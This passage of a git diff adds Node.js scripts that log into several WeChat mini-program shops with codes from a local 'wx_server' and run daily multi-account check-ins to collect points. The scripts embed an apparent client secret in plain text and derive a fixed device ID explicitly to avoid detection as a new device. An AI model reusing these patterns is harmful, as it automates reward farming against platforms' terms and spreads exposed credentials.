Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${this.account.appid}/0/page-frame.html`, + 'Extra-Data': this.cred ? JSON.stringify(this.cred.extraData) : '', + }; + } + + get kdt() { + return (this.cred && this.cred.kdtId) || this.account.kdtId || ""; + } + + async getCode() { + // 通用脚本要按账号自己的 appid 取码 + const server = new WeChatServer({ url: wechat.serverUrl, appid: this.account.appid, auth: wechat.auth }); + const { data } = await server.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const kdt = this.account.kdtId || "0"; + const body = { + appId: this.account.appid, + code, + platformName: "weapp", + signature: "windows", + clientBiz: "weapp_wsc", + inWsc: true, + kdtId: kdt, + extraBizData: { + enterOptions: { + extKdtId: Number(kdt) || 0, + path: "pages/home/dashboard/index", + query: {}, + scene: 1007, + referrerInfo: {}, + apiCategory: "default", + }, + guideBizDataMap: { from_params: "" }, + sceneData: {}, + }, + }; + const { data } = await axios.post( + `${UIC}/passport/general/auth.json?kdt_id=${kdt}&app_id=${this.account.appid}`, + body, + { headers: this.headers(), timeout: 20000, validateStatus: () => true } + ); + if (!isOk(data) || !(data.data || {}).accessToken) { + throw new Error(`有赞登录失败: ${msgOf(data)}`); + } + const d = data.data; + this.cred = { + accessToken: d.accessToken, + sid: d.sessionId, + kdtId: String(d.kdtId || kdt), + "extraData": { + "is_weapp": 1, + "sid": d.sessionId, + "version": "2.216.4.101", + "client": "weapp", + "bizEnv": "wsc", + "uuid": d.unionId, + "ftime": Date.now() + } + }; + const cache = readCache(); + cache[`${this.account.openid}#${this.account.appid}`] = { ...this.cred, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功(店铺 kdtId=${this.cred.kdtId})`); + } + + async h5Get(apiPath, params = {}) { + const q = new URLSearchParams({ + app_id: this.account.appid, + kdt_id: this.kdt, + access_token: this.cred.accessToken, + appId: this.account.appid, + kdtId: this.kdt, + ...params, + }).toString(); + const { data } = await axios.get(`${H5}${apiPath}?${q}`, { + headers: this.headers(), + timeout: 15000, + validateStatus: () => true, + }); + return data; + } + + async checkSession() { + const res = await this.h5Get("/wscaccount/api/authorize/data.json"); + return isOk(res); + } + + async ensureLogin() { + const key = `${this.account.openid}#${this.account.appid}`; + const cached = readCache()[key]; + if (!this.cred && cached && cached.accessToken) { + this.cred = { accessToken: cached.accessToken, sid: cached.sid, kdtId: cached.kdtId, extraData: cached.extraData }; + if (await this.checkSession()) { + this.log("使用缓存ck"); + return; + } + this.log("缓存ck失效,重新登录"); + this.cred = null; + } + if (!this.cred) await this.login(); + } + + async sign() { + if (!this.account.checkinId) { + this.log("⚠️ 未配置 checkinId,只登录不签到(在小程序签到页抓 checkinV2.json?checkinId= 补上)"); + return; + } + const res = await this.h5Get("/wscump/checkin/checkinV2.json", { checkinId: this.account.checkinId }); + if (isOk(res)) { + const d = res.data || {}; + const gain = d.point ?? d.points ?? d.reward ?? ""; + this.log(`✅ 签到成功${gain !== "" ? `: +${gain}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotMember(res)) { + return this.log("⚠️ 该微信号还没在这家店注册会员(有赞签到要先注册),请在小程序里注册一次再跑"); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid || !this.account.appid) { + this.log("跳过:变量值格式应为 openid#appid#kdtId#checkinId[#备注]"); + return; + } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/ytb2_all.js b/wxapp/ytb2_all.js new file mode 100644 index 00000000..79a4abd4 --- /dev/null +++ b/wxapp/ytb2_all.js @@ -0,0 +1,307 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.06 +@Description: 视软 ytb2 小程序统一登录查询签到 +cron: 50 8 * * * +------------------------------------------ +变量名:ytb2_all +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +也兼容单小程序变量名:rdsgyjd + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("视软ytb2统一签到"); +const axios = require("axios"); +const WeChatServer = require("./wcs.js"); + +const CK_NAME = "ytb2_all"; +const API_BASE = "https://ytb2.zs-shiruan.cn/api"; +const LOGIN_BASE = "https://ytb2.zs-shiruan.cn/api-v2"; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const APPS = [ + { + ck: "rdsgyjd", + name: "热带时光家庭娱乐中心阳江店", + appid: "wx0a73bcd6f11e05e3", + storeId: "2014496", + signActId: "13417", + }, +].map((app) => ({ + apiBase: process.env[`${app.ck}_api_base`] || API_BASE, + loginBase: process.env[`${app.ck}_login_base`] || LOGIN_BASE, + ...app, + appid: process.env[`${app.ck}_appid`] || app.appid, + storeId: process.env[`${app.ck}_store_id`] || app.storeId, + signActId: process.env[`${app.ck}_sign_act_id`] || app.signActId, +})); + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function unique(items = []) { + return [...new Set(items.map((item) => String(item || "").trim()).filter(Boolean))]; +} + +function parseUnifiedEnv() { + const raw = process.env[CK_NAME] || ""; + const result = { global: [], byKey: {} }; + for (const item of splitAccounts(raw)) { + const idx = item.indexOf("="); + if (idx === -1) { + result.global.push(item); + continue; + } + const key = item.slice(0, idx).trim().toLowerCase(); + const value = item.slice(idx + 1).trim(); + if (!key || !value) continue; + result.byKey[key] = result.byKey[key] || []; + result.byKey[key].push(value); + } + result.global = unique(result.global); + return result; +} + +const unifiedEnv = parseUnifiedEnv(); + +function getAccounts(app) { + const keys = [app.ck, app.appid, app.name].map((item) => item.toLowerCase()); + const accounts = []; + if (unifiedEnv.global.length) accounts.push(...unifiedEnv.global); + for (const key of keys) accounts.push(...(unifiedEnv.byKey[key] || [])); + accounts.push(...splitAccounts(process.env[app.ck] || "")); + return unique(accounts); +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function assetValue(memberInfo = {}, keys = [], names = []) { + const assets = Array.isArray(memberInfo.assets) ? memberInfo.assets : []; + for (const item of assets) { + if (keys.includes(item.key) || names.includes(item.name)) return item.num ?? 0; + } + return 0; +} + +function findSignActId(source) { + let found = ""; + const walk = (value) => { + if (found || value === null || value === undefined) return; + if (typeof value === "string") { + const match = value.match(/sign-in\/sign-in\?[^"']*actid=(\d+)/i); + if (match) found = match[1]; + return; + } + if (Array.isArray(value)) { + for (const item of value) walk(item); + return; + } + if (typeof value === "object") { + for (const item of Object.values(value)) walk(item); + } + }; + walk(source); + return found; +} + +class Task { + constructor(app, account, index) { + this.app = app; + this.account = account; + this.index = index; + this.shiruanKey = ""; + this.openid = ""; + this.mobile = ""; + this.templateUrl = ""; + this.signActId = app.signActId || ""; + this.summary = { + appName: app.name, + member: "未查询", + assets: "未查询", + sign: "未执行", + }; + this.wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: app.appid, + auth: process.env.wx_auth, + }); + } + + log(message) { + $.log(`[${this.app.name}][账号${this.index}] ${message}`); + } + + headers(extra = {}) { + return { + "content-type": "application/json", + "User-Agent": USER_AGENT, + ...extra, + }; + } + + authHeaders(extra = {}) { + return this.headers({ + shiruanKey: this.shiruanKey, + miniAppid: this.app.appid, + ...extra, + }); + } + + async getCode() { + const res = await this.wechat.getCode(this.account); + const data = res?.data; + return data?.data?.code || data?.code || data?.data || data; + } + + async login() { + const code = await this.getCode(); + const { data } = await axios.post( + `${this.app.loginBase}/mini/preLogin-new`, + { + app_id: this.app.appid, + store_id: this.app.storeId || "", + code, + }, + { + headers: this.headers(), + timeout: 30000, + } + ); + if (data?.code !== 200) throw new Error(`登录失败: ${data?.msg || JSON.stringify(data)}`); + this.shiruanKey = data.data?.shiruan_key || ""; + this.openid = data.data?.openid || ""; + this.mobile = data.data?.mobile || ""; + this.templateUrl = data.data?.templateUrl || ""; + this.log(`登录成功: ${maskPhone(this.mobile)} openId=${this.openid}`); + } + + async detectSignActId() { + if (this.signActId) return this.signActId; + if (!this.templateUrl) return ""; + try { + const { data } = await axios.get(this.templateUrl, { + headers: this.headers(), + timeout: 30000, + }); + this.signActId = findSignActId(data); + if (this.signActId) this.log(`识别签到活动ID: ${this.signActId}`); + } catch (e) { + this.log(`读取模板失败: ${e.message || e}`); + } + return this.signActId; + } + + async queryAssets() { + const { data } = await axios.post( + `${this.app.apiBase}/mini/user-asset`, + {}, + { + headers: this.authHeaders(), + timeout: 30000, + } + ); + if (data?.code !== 200) throw new Error(`查询失败: ${data?.msg || JSON.stringify(data)}`); + const info = data.data?.member_info || {}; + const phone = info.leag_tel || data.data?.mobile || this.mobile; + const card = info.card_no || info.leag_no || "未知会员"; + const coin = assetValue(info, ["coin_bal"], ["代币"]); + const point = assetValue(info, ["score"], ["积分", "娃娃积分"]); + const ticket = assetValue(info, ["tick_bal", "new_ticket"], ["奖票", "特殊奖票"]); + const gateTicket = assetValue(info, ["ticket_amount"], ["门票"]); + this.summary.member = `${card} ${maskPhone(phone)}`; + this.summary.assets = `代币=${coin} 积分=${point} 彩票=${ticket} 门票=${gateTicket}`; + this.log(`会员: ${this.summary.member} ${this.summary.assets}`); + } + + async sign() { + const actId = await this.detectSignActId(); + if (!actId) { + this.summary.sign = "未找到签到活动ID"; + this.log(this.summary.sign); + return; + } + try { + const info = await axios.get(`${this.app.apiBase}/marketing/sign-info?marketing_activity_id=${actId}`, { + headers: this.authHeaders(), + timeout: 30000, + }); + if (info.data?.code === 200) { + const d = info.data.data || {}; + const activityName = d.activity?.name || actId; + this.log(`签到活动: ${activityName} 已签=${d.is_sign_today || 0} 累计=${d.sign_day || 0}天`); + if (Number(d.is_sign_today) === 1) { + this.summary.sign = `今日已签到 累计=${d.sign_day || 0}天`; + return; + } + } else { + this.log(`签到状态查询: ${info.data?.msg || JSON.stringify(info.data)}`); + } + + const { data } = await axios.get(`${this.app.apiBase}/marketing/new-sign?marketing_activity_id=${actId}`, { + headers: this.authHeaders(), + timeout: 30000, + }); + const gifts = Array.isArray(data?.data?.gifts) + ? data.data.gifts.map((item) => `${item.num ?? item.gift_num ?? ""}${item.asset_name || item.name || ""}`.trim()).filter(Boolean) + : []; + this.summary.sign = `${data?.msg || "签到返回"}${gifts.length ? `: ${gifts.join("、")}` : ""}`; + this.log(this.summary.sign); + } catch (e) { + this.summary.sign = `签到失败: ${e.message || e}`; + this.log(this.summary.sign); + } + } + + async run() { + try { + await this.login(); + await this.queryAssets(); + await this.sign(); + await this.queryAssets(); + } catch (e) { + this.summary.sign = `执行失败: ${e.message || e}`; + this.log(this.summary.sign); + } + return this.summary; + } +} + +!(async () => { + const plan = APPS.map((app) => ({ app, accounts: getAccounts(app) })).filter((item) => item.accounts.length); + const totalAccounts = plan.reduce((sum, item) => sum + item.accounts.length, 0); + $.log(`共找到${plan.length}个小程序,${totalAccounts}个执行账号`); + if (!plan.length) { + $.log(`未配置 ${CK_NAME} 或单小程序变量`); + return; + } + + const summaries = []; + for (const { app, accounts } of plan) { + $.log(`\n========== ${app.name} (${app.ck}) ==========`); + let index = 1; + for (const account of accounts) { + summaries.push(await new Task(app, account, index++).run()); + } + } + + $.log("\n========== 执行汇总 =========="); + for (const item of summaries) { + $.log(`${item.appName}: ${item.member} ${item.assets} 签到=${item.sign}`); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yuexihui.js b/wxapp/yuexihui.js new file mode 100644 index 00000000..e6971272 --- /dev/null +++ b/wxapp/yuexihui.js @@ -0,0 +1,242 @@ +/* +------------------------------------------ +@Description: 中粮悦喜荟 - 微信小程序静默登录 + 每日签到 +cron: 30 8 * * * +------------------------------------------ +变量名:yuexihui +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx4a9b92a0680e7b29,host yxh.cofco.com): + 登录 POST /auth/login {code, koOpenId:null} -> success===true, data.token + 之后所有请求带请求头 token: + 资料 POST /member/base {} + 签到 POST /mission/sign/in {} (状态查询是 /mission/sign/list) + 成功判定是 success===true(不是 code),失败原因在 message/msg +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("中粮悦喜荟"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "yuexihui"; +const MINI_APP_ID = "wx4a9b92a0680e7b29"; +const BASE = "https://yxh.cofco.com"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "yuexihui_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/auth/login"; +const EP_SIGN = "/mission/sign/in"; +const EP_USER = "/member/base"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => res?.success === true; +const msgOf = (res) => res?.message || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["token"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, koOpenId: null }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "POST", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yunduodingding.js b/wxapp/yunduodingding.js new file mode 100644 index 00000000..60b05fa3 --- /dev/null +++ b/wxapp/yunduodingding.js @@ -0,0 +1,277 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 云朵叮叮微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:yunduodingding +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("云朵叮叮微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const ckName = "yunduodingding"; +const MINI_APP_ID = "wx5dbc7b1ca99bca9c"; +const KDT_ID = "152281203"; +const USER_VERSION = "2.213.1"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yunduodingding_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + const value = String(token || ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + if (!this.accessToken) return; + } + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/64/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}小云朵`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${data?.isShow} showPage=${data?.showPage}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yz19.js b/wxapp/yz19.js new file mode 100644 index 00000000..339faef8 --- /dev/null +++ b/wxapp/yz19.js @@ -0,0 +1,274 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: tuoluzhe 拓路者小程序签到 +cron: 27 8 * * * +------------------------------------------ +变量名:tuoluzhe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("tuoluzhe拓路者小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx19afe76fc30d5c37"; +const CLIENT_BIZ = "weapp_wsc"; +const KDT_ID = "100505629"; +const USER_VERSION = "2.224.7.101"; +const PAGE_VERSION = "146"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "tuoluzhe_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "tuoluzhe"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data.accessToken || data.access_token || ""; +} + +function isTokenError(message) { + return /access_token|token|登录|invalid session|session/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || 